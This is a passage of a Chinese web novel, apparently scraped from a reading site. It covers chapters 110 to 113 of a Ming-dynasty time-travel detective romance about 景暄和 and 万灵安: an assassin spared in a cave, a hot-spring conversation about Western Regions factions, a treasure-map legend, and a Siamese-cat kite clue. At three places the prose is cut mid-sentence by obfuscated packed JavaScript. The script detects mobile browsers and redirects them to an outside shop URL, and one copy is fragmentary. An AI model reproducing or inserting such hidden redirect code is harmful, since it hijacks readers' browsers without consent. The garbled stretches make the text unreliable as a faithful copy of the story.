景暄和心中有些好笑,第一次听一个杀手说自己“行得正坐得直”的。 怕景暄和不信,他补充道:“每次杀人前,我都会要主人告知我那人曾做过的恶事,若是他该杀,我才会杀了他。这些年来,主人知道我脾气执拗,也没有违背过我的原则。” “好,那你怎么解释,你要杀玉泰大师呢?他是清水禅寺的住持,德高望重,你还是杀了他。” 虽然嘴上说他“德高望重”,景暄和心中对他的人品还是鄙夷,要不是这妖僧,自己的内力也不会缺失至此,落得如此被动的境地。 西域人撇了撇嘴,“你说那个秃驴?不过是个害人的蠹虫罢了。” “此话何意?” “清水禅寺名曰佛寺,实则用香火钱借贷给普通百姓,利息却收的奇高,有些农民还不起利息,便霸占了他们的田地,还强占了他们的女儿卖去妓院,光我所知的就有十人,佛门本该是清静之地,这些人简直是污蔑了佛门的名声!你说,这样的秃驴,该不该杀?” 景暄和吃了一大惊,没想到这个西域人居然知道的这么多。 玉泰住持不光下药害他们,还做过如此丧尽天良的事情,实在是令人咋舌。 这样一想,这西域人也许不是坏人,相反,还有些正义感在身上…… “玉泰住持着实可恶,你杀了他也算是为民除害了,可是,你的主人派你杀他,却是为了帮助真正的凶手脱身,从这个角度来说,你也是助纣为虐了。” “那我不管,我是一个杀手,既然有了杀他的理由,执行命令便是我的天职了。”他声音洪亮道。 景暄和稍稍松了口气,如此说来,这人不是滥杀无辜之人,可她还是要想办法逃出去,否则便会误了案子。 他靠在另一边的山洞,似乎在休息,衣襟半敞,露出了里面的孤狼图腾。 景暄和一惊,真是无巧不成书,她派齐三陌去打听这个图腾,没想到他们部落的人居然就在眼前! 当然不能放过这个绝佳的机会,她试探道:“你这纹身好生威武,真气派!难道你们西域人每个人都要纹吗?” 那人睁开眼,“当然不是,这是我们部落独有的。” “你们是什么部落?” “吉……”那人没有继续说,一双深邃的眼睛只是防备地盯着他。 “你放心,我可不是想套你的话,只是闲聊而已,”景暄和微笑道:“仁兄,我只是对纹身感到稀奇而已,没有恶意的,你们西域大大小小那么多国家和部落,我又没去过,能有什么企图呢。” “你这女子尤其狡诈,我不得不防,试想短短时日内便能从一个小捕快升成正四品的京官,还是以女子之身,实力不容小觑。” “没想到你对我了解的倒很清楚。”景暄和笑了笑,“不容小觑的是你主人,明明隐在暗处,却对大明如此了解,看来是有筹谋啊。” 那人不置可否,没有回答景暄和的话。 她见他不说话了,也不搭腔了,还是好好休息,养精蓄锐吧。 …… 洞外雨似乎停了,只有滴滴答答的水声,仿佛谱了一曲催眠之音。 这个夜晚,景暄和睡得极不安稳,脑中断断续续地做了很多梦。 到半夜时,突然被一阵急促的呼吸声吵醒。 西域人似乎很是痛苦的样子,蜷缩在角落,捂住胸口,额头渗出很多冷汗,他从腰间拿出药瓶,可是手一抖,药瓶却掉到了景暄和的脚边。 他似乎失去了所有力气,只是无助地抽搐着。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13191297|123189||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >景暄和手脚虽被绑住,却能缓慢移动到他的身边,抽出他腰上的刀子,一下子便将绳子解开了。 捡起掉落的瓷瓶,里面有一颗药,应该是他主人控制他的手段。 一想到他说过,自己是个药人,想必从小到大已经尝过了太多毒药,他的主人想把他培养成一把杀人不眨眼的刀子,可是他却执拗地坚持着看起来有些可笑的“原则”。 从功利的角度来讲,她完全可以丢下他逃跑,让他在此自生自灭。 反正他们也是毫无干系的,东郭先生与狼的故事她听得太多了,所以,何必对这个番邦人有什么恻隐之心呢? 景暄和蹲下来,目光清明地对他说:“你刚才说‘原则’,可是如果你的主人要你杀一无辜之人,但你不杀,他就不给你解药,你会怎么办呢?” 他表情似是十分痛苦,从嘴里一字一句地说:“宁死……也不杀……” 景暄和叹了口气,咬咬牙,起身便走,到门口,却定住了脚步。 骨子里的善良让她陷入了犹豫,若是丢下他不管,直接出了山洞,这人必死无疑,可是如果给他解药了,又怕他继续绑架她,阻止她查案。 她用刚才的绳子将他的手脚绑住,为了保险,又捏住他的下巴,强迫他看着自己。 “若想我给你解药,也不是不可,你需得发誓,让我顺利离开,不再阻挠我查案,若是答应,你就点点头。” 豆大的汗珠从他脸上流淌下来。 他纠结了一会儿,终于重重地点了点头。 “好,你说过你从不说谎,我这次便信你一回。等明早你恢复了力气,便自行解开绳索吧。”顿了顿,又道:“我这人最不喜欢欠别人人情了,你刚才没有杀我,我便也放你一回,就算是扯平了。” 她一把将尖刀掷于地上,将解药喂给了他。 松了松筋骨,便闯入了黑夜之中。 *** 雨夜中,大批人马上山搜寻。 庄炎不无担心地说:“万大人,我爹说过,您的身体要静养,不可操劳,如今漏夜上山,外面还下着雨,实在是不妥。” “无需多言,快去找她。” 万灵安面色苍白,立在雨中,只打着一把青色的油纸伞。 他突然猛烈地咳嗽起来,肩膀一起一伏。 “万大人……”庄炎还想说话。 “别管我,快去!”他的眼中染上一丝病态的妖冶。 庄炎叹息了一声,只好听命行事。 万灵安的手中拿着那本佛经,这就是她不顾安危也要传递的消息么。 可是和她的安全相比,这佛经简直不值一提。 如今的顺天府早就不像表面上看起来那般歌舞升平了,潜藏着各方势力,他们蠢蠢欲动,各怀鬼胎,万灵安心想,是时候给他们来一次大清洗了。 若是那歹徒胆敢对她不利,他定会灭他全族,为她报仇。 一个都不放过。 然后,他再随她一起去了,便也算是干干净净了。 这样想着,便没有什么可怕的了。 他阴郁的神情隐在雨中,谁也没有发现,他此刻的想法有多可怕。 110. 温泉水暖(上) 这场雨下了一夜。 黎明之时,万灵安的手下终于找到了景暄和。 她一身玄衣,仿佛与山川融为了一体,夜雨风疾,她走得太快,不小心掉入了山涧之中,还好只是轻微的扭伤,便躲在山体的凹陷处避雨,又因为太累了,竟沉沉地睡了过去。 当听到有人叫她的名字,她还以为自己出现了幻觉,可是细细一听,真的是在叫自己。 景暄和呼喊了一声,庄炎一身蓑衣,终于看到了她,忙将麻绳扔了下来,景暄和熟练地系在自己腰间,终于攀了上去。 庄炎将她引入万灵安所在的亭子,庄阳这时正带了一队人马回来,看到景暄和,喜不自胜,说:“万大人也带人去找您了,我得赶快给其他兄弟们发送信号弹,告诉他们消息!” 庄阳一向是个活泼的性子,看到景暄和回来了,心中愉快,连脚步都轻松了不少,外面的雨渐渐小了,空气潮湿而阴冷,他将腰间的信号弹拿出,轻轻一拉,便见白色的烟火冲天而去,闪出一道银光。 半柱香后,景暄和终于见到了万灵安。 一夜不见,他却像完完全全变了一个人。 白而微青的脸,一双眸子好似坠落的流星,没了光彩,身影仿佛亘古而立的雕塑,带着一丝死寂。他的喉结滚动了一下,音色有些暗哑,道:“你回来了。” 声音很轻,好像一个单薄的梦境,一颗石子就能打破。 景暄和心中像被打湿的宣纸,溢满了感动,她快步走到他面前,抱住他,说:“对不起,真的……对不起。” “没什么的。”他的声音还是那么清淡,“我身上脏,你别抱我了。” 庄阳适时地补充了一句:“万大人昨夜找了您很久,后来连伞都没有打了,山上怪石嶙峋,大人的手都被石头割伤了。” 景暄和心疼地拿起他的手,果然见上面有划伤的痕迹,鲜血还未凝固,泥水混着血水,触目惊心。 她抬眸,见他脸上似乎有种不正常的潮红,心中一怔,忙将手覆上了他的额头,只觉得滚烫无比。 突然想起了什么,她说:“就怕你寒毒发作了,我家有温泉池,平日里还放入了药草,那药材是庄大夫给我的,驱寒去毒最好,你快去泡一泡吧。” 万灵安点头,与景暄和一道上了马车。 动身前,景暄和朝寻找她的人马恭恭敬敬行了一礼,道:“多谢大家寻我之恩,景某无以为报,但各位的恩情我定铭记于心。” 还不忘嘱咐庄阳给寻找她的兄弟们每人熬碗姜汤,再一人发十两银子,从她府中来出。 …… 梧桐叶子落了一地,小厮正在院中打扫,抬头却看到景大人扶着万大人进了后院的温泉,忙低下头装作没看见。 在自家大人恢复了女儿身之前,他还以为他们二人是那种关系,后来发现她是女子,不由得佩服起来,景大人以前藏得也太好了,居然连他也骗过了。 不过他一向嘴严,这些大人物的事情也不会向外吐露半个字,还是着手于自己的本职工作为好,当初景大人招他入府,也是看中了他口风紧,为人老实勤勉。 温泉水暖,与外面仿佛两个世界。 万灵安褪去上衣,进入了温泉池,一瞬间,只觉得退去了万千烦恼丝,似入了化境。 他的身体不像普通文臣的柔弱,也不似武将那般粗犷,所有比例都像是刚刚好,除了少年时征战留下的疤痕外,一切都让人赏心悦目。 可也就是这些伤痕,成就了现在的他。 景暄和脸上一红,背过身去, “别走,我有话对你说。”他抓住她的手腕。 她轻咳了一声,心情蓦然紧张起来,道:“我去换件干净的衣裳。” 万灵安说:“我已经查到了,关于那本佛经的事情。” “线索出现了?”她一双眼睛亮亮的,“快跟我说说,有什么发现?” 万灵安哑然失笑,也许只有案子才能牵动她的心吧。 “你要不要也下来?我们慢慢说。”他抬头,望向了她的眼眸,“我记得在21世纪的时候,你还带我去泡过温泉呢。” 景暄和的记忆突然回到了许久以前,那时她只当他是个小毛头,有次便带他去泡温泉,那时的他对一切都那么新奇,想来已经是很遥远的事情了。 不过,一起泡温泉也没什么大不了的。 也许在古代待久了,她的思想竟被潜移默化了,现在想想,是有些可笑,他们都不是循规蹈矩之人,男女之防什么的也不适用于他们。 脱去了外衣,只留下一件贴身衣物,她小心翼翼地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13233109|123189||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下了池子。 水汽弥漫,她看不清他的样子,隔着一层水汽,似乎隔着一道幕帘。 看着她光洁白皙的肩膀,柔美精致的锁骨,万灵安难得的有些不自然。 声音也有些不分明:“在此之前,我想知道,那个西域人现在在何处?” 景暄和一愣,随即说道:“他没有伤害我,于是,我便也留下他一条性命。”她的声音笼在雾气中,轻柔却坚定,“可是我知道,他关乎整个‘四眼佛’的案子,必不能如此轻易地让他走了。我最近闲来无事研究了许多暗器和昆虫,在他毒发之时,趁他不注意在他的尖刀上涂上了木若花的花粉,我豢养的紫蜂识得花粉的气味,我们明日便可追踪那西域人去过的所有地方,以他为饵,查出他背后的势力。” 万灵安赞许地望向了她,此刻的她,美丽而冷静,随着时间的洗礼愈发自信强大,即使不是爱侣,也是一个不可多得的人才。 “西域人的事情我已经告诉你了,那佛经呢?”景暄和问。 万灵安道:“我派人去找四夷馆的馆主苏仪,他之前欠我一个人情,连夜翻译了这本佛经,事情的关键,便是书写佛经的人。” “是谁?” “他的名字是鸠摩伽耶,父亲是天竺人,母亲是吐火罗人,从小就在天鸾大师座下当弟子,几乎是天鸾大师看着长大的,可是后来,二人却生了嫌隙。” 景暄和心脏突然跳得很快,“你别告诉我,鸠摩伽耶就是与他师父决裂,毅然毁坏四眼佛金手指的人!” “正是!” 看着万灵安肯定的神情,景暄和不禁瞪大了眼睛,这一切不可能是巧合! 故事好像由此串起来了。 所有事情的发生都不是偶然,而是必然。 万灵安继续道:“玉泰住持早年去往天竺国取经,认识了鸠摩伽耶,二人很是投缘,结下了深刻的友情,后来鸠摩伽耶与女子生下孩子,被天鸾大师发现了,那女子被勒令自杀,从此以后,师徒二人决裂,成为陌路,不知怎的,那孩子流落到民间成为乞丐,被西域人收养,如今,正全心全意地效力来自西域的势力。” “你的意思是,那孩子便是西域其中一股势力的鹰犬,正隐藏在顺天府,听命而行?可是那两股西域势力的主人,分别是谁呢?” 111. 温泉水暖(下) “五年前的西域,确实有两股势力,西域王有三子二女,其中大王子阿米尔被视作西域王的接班人,可是小女儿麦娜尔同样很出众,她是西域最具传奇色彩的公主,文治武功,无一不比她兄长逊色,甚至更为耀眼,相传西域王曾经数次动了传位于小女儿的念头。” “你是说如今的暹罗王妃麦娜尔?” “就是她,”万灵安顿了顿,“麦娜尔不光为人聪颖,还很有野心,从小就立志成为西域的女王,统领一方疆土,可是五年前,暹罗使者去西域出使,在大王子阿米尔的运作下,西域王竟答应了让小女儿去和亲,这也断送了她的政治生涯,相当于剪去了她所有的羽翼,让她从西域王室的接班人变成了异国他乡的王妃,从此隔绝于权利之外,成为一个富贵的闲人。” 景暄和有些替麦娜尔不甘心,“这阿米尔的手段也真是下作,比不过妹妹,就使计让她远离,真是好谋算啊,这么喜欢和亲,他自己怎么不去和亲?” 虽然如今的大明仍是一个封建王朝,可有一点,景暄和还是由衷敬佩,“天子守国门,君王死社稷”,堪称是最硬气的王朝,更是有四不原则——“不和亲、不割地、不赔款、不称臣”。 她总觉得,让一个女子远离母国去和亲是十分残忍的行为,青春韶华就这样葬送在异国他乡,直到红颜白头,也回不去故国。只能在漫长的人生中怀着对家人母国的思念,渐渐老去。当然也有一些著名的和亲公主,譬如文成公主和解忧公主,可她们在漫漫人生中所遭受的难过孤独,又有谁可以诉说呢? “多年的努力成果一夕崩塌,麦娜尔自然不甘心,这几年来默默地培植自己的势力,决心与她的兄长斗到底。她没有自怨自艾,而是想重整势力,杀回西域。” 景暄和不由得佩服起这个素未谋面的女子,又陷入了沉思,“这么说来,昨日的西域人和鸠摩迦耶的孩子是一伙的,我猜想,他们口中的主人便是西域的大王子阿米尔了。” 她推理道:“麦娜尔从暹罗国出发,来到大明,之前派了三名暗探潜伏在河边村,为了寻找什么东西,这东西一定很重要,能够帮助她夺权成功,他的哥哥为了阻止她夺权,想方设法也要除去那三名暗探,又将他们的手臂放在四眼佛上,为了震慑妹妹,不让她起异心。这么说来,一切是不是都讲得通了?” “哥哥害怕妹妹的野心与能力,决心打压她,这确实说得通,就像两只猛虎必不能同处一座山头。” 景暄和耸耸肩:“可是我总觉得,女人有野心并不是什么大不了的事情,为了争取自己想要的东西,有什么错?只要有足够的机会和舞台,一定会有越来越多杰出的女性领袖绽放光彩。千百年来,她们不是沉默的,更不是无知的,只是她们的声音没有被听到,淹没在历史的缝隙之中,才营造出籍籍无名的假象,可是这并不代表,她们没有想说的话,无论再微小的声音,都应该被听到!” “你说的没错,她们总是被规训,被打压,可在这残酷的规则之外,却鲜少有人发现,她们也是活生生的渴望被看到的人。”万灵安赞同道。 景暄和眼睛一亮,“总有一天,我想通过自己的努力,让更多的她们被看到,让女子也能进入朝堂之中,掌握更多的话事权。来大明一趟,我不想白来,也不想遵照着历史战战兢兢地活着,我不想和这个封建王朝共情,只想凭借自己的能力做出改变,造福更多的百姓。” “一路走来,我见过太多汲汲营营的人,他们一开始也许有理想,却终究被现实给打败,走上了一条违背初心的道路,可是我知道,你和他们不一样,在你的眼中,我看到了一种坚定。即使现实再残忍,却始终磨灭不了的坚定。” “我真的可以做到吗?”她似是没预料到万灵安的态度,他比她想象的还要更了解她。 “你可以的。”他微笑道。 二人相视无言,虽同时陷入了沉默,却觉得这沉默来得刚刚好,彼此的心意相通,说起话来才是最舒服的状态。 不多时,景暄和叹了口气,“只是现在看来,徐夫人的失踪和‘四眼佛’的案子并无直接关系,东厂的人只是借助这件事做了一个局,可是徐夫人,现在到底在哪里呢?” 万灵安说:“我倒觉得,世上没有这么多巧合,徐夫人一定与暹罗人有着千丝万缕的联系,只是我们还没有破解其中的关节,所以觉得事情像是笼着一层迷雾,看不分明。” “徐夫人怎会和暹罗人有关系呢?我总觉得像是八竿子都打不着的样子。” “有的时候,最紧密的关系反而最不能暴露于人前,我们能看到的,反而只是冰山的一角。也许她明面上是文渊阁大学士的夫人,暗地里却有什么不为人知的秘密,不被人知晓。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13235000|123189||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 景暄和抬眸,“我记得,当时朝廷将徐家抄家之时,曾贴了封条,里面也许留下了什么蛛丝马迹,若能进入其中,也许会找到徐夫人的秘密?只是,到底该怎么进去呢。” “过两日便是天子接见暹罗使臣的时候,那时大部分兵力都会聚集到皇宫,魏福忠的眼睛也会盯着这次会晤,对于徐府的看守必会变少,若你想进去一看,那便是最好的时机。” “芃敏曾经告诉过我,徐府有一条密道,通往春晖园,我从春晖园那端的密道进入,想必就不会打草惊蛇了,拿到线索后,晚上我再去皇宫参加宴会,看能不能探探暹罗人的口风。” 见她已经有了思量,万灵安点点头,“很好,那就照你说的办吧。” 他突然皱了下眉,看向了自己的手掌,原来是扯动了伤口,渗出了殷殷血迹。 “疼不疼啊?”景暄和起身,“我帮你再包扎一遍吧,若感染了,恐怕会更严重。” 万灵安听话地起身更衣,坐到了软榻之上。 “有你在,就没那么疼了。” 桌上放着一只新摘的淡紫色木槿花,窗外种了桂花树,正是金桂盛开的时节,虽关上了窗户,香气还是弥散开来,沁人心脾。 有她在身边,万灵安总能放松下来,不带任何防备,那是一种难以言说的安定与自在。 她一身月白色的绸裙,随意地披上了一件烟色梅花罗袖褙子,长发垂下,沉静而雅致,睫毛微垂,很认真地帮他上药包扎。 这是独属于他们的静谧时光,万灵安只觉得这瞬间的美好要是能无限拉长,成为永恒就好了。 小厮敲了敲门,“景大人,齐三陌求见,他说他已经找到了孤狼图腾的含义。” “快请他进来。”景暄和匆忙道,又说:“不,我亲自去见他,将他引到大厅去吧。” 走之前,还不忘拍拍万灵安的肩膀,“你辛劳了一夜,快在软榻上歇息一会儿吧。” “等等。” 万灵安让她坐下,将白玉簪拿出来,替她挽了一个发髻,又恢复了之前利落干练的形象。 景暄和笑了笑,捏了捏他的手指。 熏香散去,万灵安陷入了沉睡。 梦中没有那些光怪陆离的场景,只剩下女子笑靥,伴随着扑鼻而来的阵阵花香。 明丽而温暖。 112. 藏宝图 景暄和随小厮穿过花园,一送信的锦衣卫说有信给她,她接过信,是高大虎递来的。 读了信,阅后即焚,便往大厅走去。 来到大厅,齐三陌朝她施了一礼,面露喜色道:“景大人,这些天我走街串巷,多番查证,还联系了之前认识的西域朋友,终于让我找到了那孤狼图腾的秘密。” “辛苦了,快请说!”景暄和招呼他坐下。 他似乎很是口渴,咕嘟咕嘟地喝了好几口水,翘起二郎腿,神秘兮兮地道:“那图腾的确来自西域,属于其中一个古老的部落。” 景暄和将手扶在椅子上,说:“你就别卖关子了,是什么部落呢?” “这图腾出自西域的吉尔克部落,吉尔克盛产美女,都说西域全部美人若有十分颜色,吉尔克便要独占八分,这部落的女子美名在外,出了很多倾国倾城的美人,还流传着许许多多传奇的故事呢。在古西域时期,有一吉尔克的女子名为黛伦,长得星眸皓齿,柳夭桃艳,传言她有沉鱼落雁之貌,因为太过美丽,甚至引起了战争,西域的勇士为了得到她前赴后继,连性命都不要了!真是难以想象她有多美,竟引得那么多英雄为她折腰。” 齐三陌又缓缓道:“若西域其他部落的男子能娶到吉尔克部落的美女为妻,那么他们全家都会将此视作是无上光荣的一件事。自古以来,就连西域王的王后王妃们也大多出自这个部落呢,实在是传奇。” “竟有此事?倒是有些意思。”景暄和笑言道:“看来爱美之心,人皆有之,可不分什么中原西域的,而是放之四海而皆准。” “谁说不是呢?除此之外,吉尔克部落还与我大明朝的一人有关系呢。” “谁?” 景暄和觉得齐三陌若不做锦衣卫,可以去当说书先生了,他讲的故事,实在是扣人心弦,勾人胃口。 “于景涟大人。” 听到这个名字,景暄和似乎有些惊讶,不自觉地抬头,眼中似风吹过的麦浪。 “当年前朝快要灭国之际,蒙古将军将从中原搜刮的大批财宝带入西域,藏好之后,就经过了吉尔克部落,被部落人所救,那将军信赖他们,于是留下了一张藏宝图,希望他们交给蒙古族后人,可惜后来战火连天,山河破碎,这藏宝图便淹没于历史的尘埃之中了,再无人提起。 百年后,于景涟大人奉旨出使西域,坊间传言,他经过吉尔克部落时偶然得到了那图,带回了大明,可是谁也不知道,那图如今下落何方。可传言毕竟是传言,藏宝图有没有还不知道呢,不过这么一大笔财宝,若是被藏起来,可真难找了。也难怪这么多人眼红,听说这财宝若是能够被找到,足以买下一座城池呢!” 竟有这段渊源…… 景暄和默然不语,似乎在沉思,她手指敲了两下椅子的把手,说:“刚才高大虎派人给我传了信,说如今有很多人马都盯着河边村,最近的确是有三人不见了,根据附近的村民说,他们平日里沉默寡言,总是昼伏夜出,和村民聊天的共同主题是图纸,神秘兮兮的,难道便是为了那藏宝图?” 这三人是麦娜尔的眼线,如此说来,麦娜尔也对这藏宝图感兴趣。 她一定是觉得,得到这图便有了能够与她哥哥一较高下的资本,所以才派那三人潜藏在河边村,伺机寻找藏宝图的线索。 只是,藏宝图的传说到底是虚无缥缈还是确有其事呢? 一切似乎还不明朗。 *** 时间一晃便到了暹罗王子觐见天子的时候。 这天早上,景暄和本想依计划去往春晖园,刚经过东街,却见到那个让人讨厌的身影,真是人一倒起霉来,喝凉水都塞牙缝呢。 她本想避开,那人却一下子就看到她了。 周思逑带着随从气冲冲地走向她,道:“美人儿,上次你不是说要我跟你提亲吗,怎么竟诓骗于我?!我对你一片真心,你竟将我的真心当做烂泥?” 懒得与他纠缠,景暄和状似无辜地说:“公子说的什么提亲?怕不是认错人了吧……我认识你么。再说了,公子的真心自然是要给值得之人的,同样的,我也不是随随便便就接受人提亲的女子。” 他一双眼睛乌青,成了熊猫眼,手臂也骨折了,挂着绷带,样子十分可笑,随从也少了好几个,看来是被孙宝树给狠揍了一顿。 一想到他吃亏的怂样,景暄和强忍着才没笑出声。 周思逑气得快要吐血:“你不是说在河边村等我提亲?” “我可没说过,你有证据吗?”她干脆开始装傻充愣,对付流氓,她不介意比他更无赖。 “你你你!” 一向只有他欺侮戏弄别人的份,哪里轮得到别人戏弄他的。 周思逑气得冒烟,差点说不出话。 “我可没有时间陪你玩,还有正事要做呢!公子还是找个凉快的地方呆着吧,别气坏了身子,我可没钱赔你。”景暄和说完抬步就想走,却被周思逑给拦下。 “我们之间恩怨还没了,想走,没门儿!”周思逑摆出无赖样,“要不你和我定亲,要不,你今日就别想离开了!” “你什么意思?”景暄和质问道。 “我什么意思?就是字面上的意思。” 景暄和眉头一挑,“光天化日之下,你是要强抢民女?” “小爷就这么做了,你敢拿我如何?”周思逑向随从使了个眼色,他们便将景暄和团团围住。 景暄和冷哼了一声,拿出锦衣卫令牌,正色道:“看看这是什么!” “啥?”周思逑眯了眯眼睛。 “锦衣卫办案,由不得你阻挠!” “你……你到底是谁?”周思逑退后了几步,看着这绝色的面容,又泛起了疑惑。 如今有这令牌的女子,恐怕只有一人了…… 京中早就传得沸沸扬扬,说景大人实际是女子,以女子之身当锦衣卫,也算是前无 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“万……万大人,您可要给在下做主啊!”周思逑看到他像看到了亲人,三步并作两步来到轿子边:“您是百官之首,若有官员勾三搭四,沾惹是非,您是管还是不管?” “哦?”万灵安只说了这一个字。 “确有其事!您一定要为我做主啊!这女子戏弄于我,把我坑的好惨啊!”他指了指自己的熊猫眼,又指了指骨折的一只手,哭丧着脸说:“我这伤,全是这个女子害的!若是不能给她点颜色瞧瞧,她明日便能开染房了!” “说来听听。”万灵安声音清淡,表情上没有任何变化。 周思逑似乎受到了鼓舞,他之前还以为万灵安与她有什么纠葛,可是后来二人相关的传言却全部消失了,明面上也没有任何往来了,除了查案,二人似乎再无瓜葛。 周思逑心想,定是景暄和在万灵安处碰了壁,或者全是景暄和在狐假虎威,二人并没有什么关系,流言才烟消云散的。 “您有所不知啊,之前她对您百般谄媚,不过是想升官发财,后来见攀不上您这高枝,又自甘堕落,居然和一伙夫有染,那般低贱之人,也不知这位景大人是怎么想的。我曾亲眼看到那日七夕,她挽着那伙夫在东街桥上赏月,那姿态,那亲昵的程度,要说二人没有奸情,是人都不信吧!” “周思逑,注意你的言行!”景暄和皱眉,这纨绔简直是无法无天,非要给她泼脏水才满意。 目光悄悄望向万灵安,却见他垂下了眸子,似乎若有所思的样子,仿佛很认真地在听周思逑的话。 拜托,这是什么表情? 万灵安放下书,修长的手指拿起一杯茶,抿了口,问道:“景大人,可有此事啊?” 景暄和瞪大了眼睛,万灵安这是在唱哪出啊? 113. 雷霆手段 “万大人,这小人空口白牙,污蔑于我,什么伙夫,臣根本不知他在说什么!”景暄和睨了万灵安一眼,装不熟是吧,那她便一装到底,看谁装的过谁。 “周公子,景大人说他不认识什么伙夫呢,你是不是哪里搞错了。”万灵安看似很公正地说。 “万大人,您可别被这女子给骗了,她长着一张美丽的面容,可是心比蛇蝎还毒!更别提她那一张巧嘴了,黑的都能说成白的!我亲眼看见,她和那伙夫不清不楚,暧昧非常,实在是让人不齿!鬼知道他们那晚有没有鸳鸯共度,颠鸾倒凤!” 景暄和看他越说越过分了,不由得有些气恼:“周思逑,你住嘴吧,看看你说的是人话吗?我和谁一起,与你有什么关系?” 景暄和还想说话,万灵安却说:“景大人稍安勿躁,周公子,我怎么听人说,你那日晚上与人喝酒狎妓,闹出了乱子,还纵容手下打伤了人,是不是你酒喝多了,看错了什么,冤枉了景大人便不好了。” “万大人,这都是发生在我见到她之前,可不是那天的事情!”周思逑信誓旦旦道:“自从遇到她,我是真心想求娶的,谁知她却戏弄于我,真是可恶至极!” “这么说……你承认了喝酒狎妓,派手下打人犯法了,是吧?”万灵安淡淡一笑道:“那么,本官也不能坐视不理了。” 周思逑脸色一白,汗都流下来了,大脑突然一片空白,“万……万大人……我……” “若此事属实,那么你必须受到惩罚了,包括但不限于割舌、剁手、流放、绞刑。” 周思逑脚下一软,这四个刑法一个比一个重,他从小金尊玉贵,十指不沾阳春水的,哪能承受这些? “来人啊,先将周思逑掌嘴二十,再扔入衙门,依律定罪。” “万大人饶命啊!万大人!” 他看万灵安的眼神只剩下恐惧,像看了鬼一般。 “看在你兄长的面子上,本官会饶你一命,可是皮肉之苦,却是免不了了,是割舌还是剁手,还是要依律法行事。” “不!万大人!小人错了!小人再也不敢了万大人!” 周思逑赶忙跪下求饶,只觉得毛骨悚然,却被拖走,只留下被掌嘴的哀嚎声…… “景大人,本官这样处事,可还公正啊?”万灵安一脸真诚道。 景暄和朝他施了一礼,“大人秉公无私,臣心服口服。” 心想:没想到万灵安朗月风清之下,却有如此雷霆般的手段,还好她不是他的敌人,否则,真不知如何自处。 *** 景暄和从春晖园而入,沿着密道进入了徐府。 外面的守备已被撤走,园子里安静的可怕,只听见偶尔两声鸟叫,划破了死一般的寂静。 还记得中秋之时,徐家是多么花团锦簇,团圆美满,可是如今,却是山崩地裂,妻离子散,从天堂到地狱,不过才一个月的时间。 有时想想人这一生也真是不值,风云变幻,却似乎完全抓不住命运的脉络,特别是站到了高位,只能如履薄冰,战战兢兢。 那么万灵安呢,一人之下,万人之上,他也会感到孤独和惶恐么。 景暄和不知道,只觉得怅然。 依照徐芃敏给的地图,她很快就找到了徐大人和徐夫人的厢房,听她说,徐夫人很喜欢收集风筝,厢房后面有一个藏物阁,里面有许多稀奇古怪的风筝。 景暄和很快便来到了藏物阁,这里更为寂静了,仿佛萦绕着森森鬼气。 推开门,墙上挂着五颜六色的纸鸢,起码有三十只,让她眼花缭乱,徐芃敏告诉过她,这是徐大人派专人为夫人做的,因为徐夫人喜欢,所以专门辟了一间屋子,给她挂风筝。 特别是阳春三月的时候,他们总是出门踏青,便带上风筝,在绿水青山之间徜徉,恍若神仙眷侣。 可惜,如今却是劳燕分飞。 一个入狱。 一个却不知所踪。 来不及叹息感慨,景暄和的目光却被正中的一只风筝吸引。 这风筝挂在墙壁的正中央,比其他的都要大些,上面画了一只猫,活灵活现,可这猫却和中原的猫不一样,好像……来自异国。 在现代时,她工作繁忙,家里也没时间养宠物,可是她妹妹景暄妍却是宠物爱好者,周末经常去猫咖,对各种各样的猫咪都如数家珍,在妹妹的感染下,她也了解了不少。 风筝上的猫咪全身棕黑,一双眼睛却像蓝宝石一般,看起来十分聪明乖巧,特别之处在于,这猫有些对眼,尾巴卷曲。 这是…… 暹罗猫。 这三个字跳到了景暄和的脑中,她十分肯定,对,就是暹罗猫! 在暹罗传说中,最著名的便是“佛陀金杯”的故事。传言古时的暹罗战火纷飞,所有壮丁都去前线打仗,就连看守佛门宝藏的僧侣都得去前线,举世无双的佛陀金杯便陷入无人看守的窘境。 这时,王室便派了一雄一雌两只猫去看守,雄猫无法忍受,最终遁走,怀孕的雌猫却兢兢业业,一刻也不敢松懈,它日日盯着金杯,还用尾巴缠住杯柄,防止被贼人偷走。随着时间的流逝,因为它长时间盯着金杯,便逐渐成了对眼,尾巴也因为缠绕着金杯变得卷曲起来。 当它的孩子降生后,也继承了母亲这两项特质。 所以,略有对眼和尾巴卷曲的暹罗猫才会如此受人追捧,皆因人们感念其祖先的忠义之举。 只是徐夫人怎会对暹罗猫感兴趣,难道她并不是中原人,而是……暹罗人。 可是明面上,她明明是琅琊王氏的女子,身份高贵,怎会是暹罗人呢? 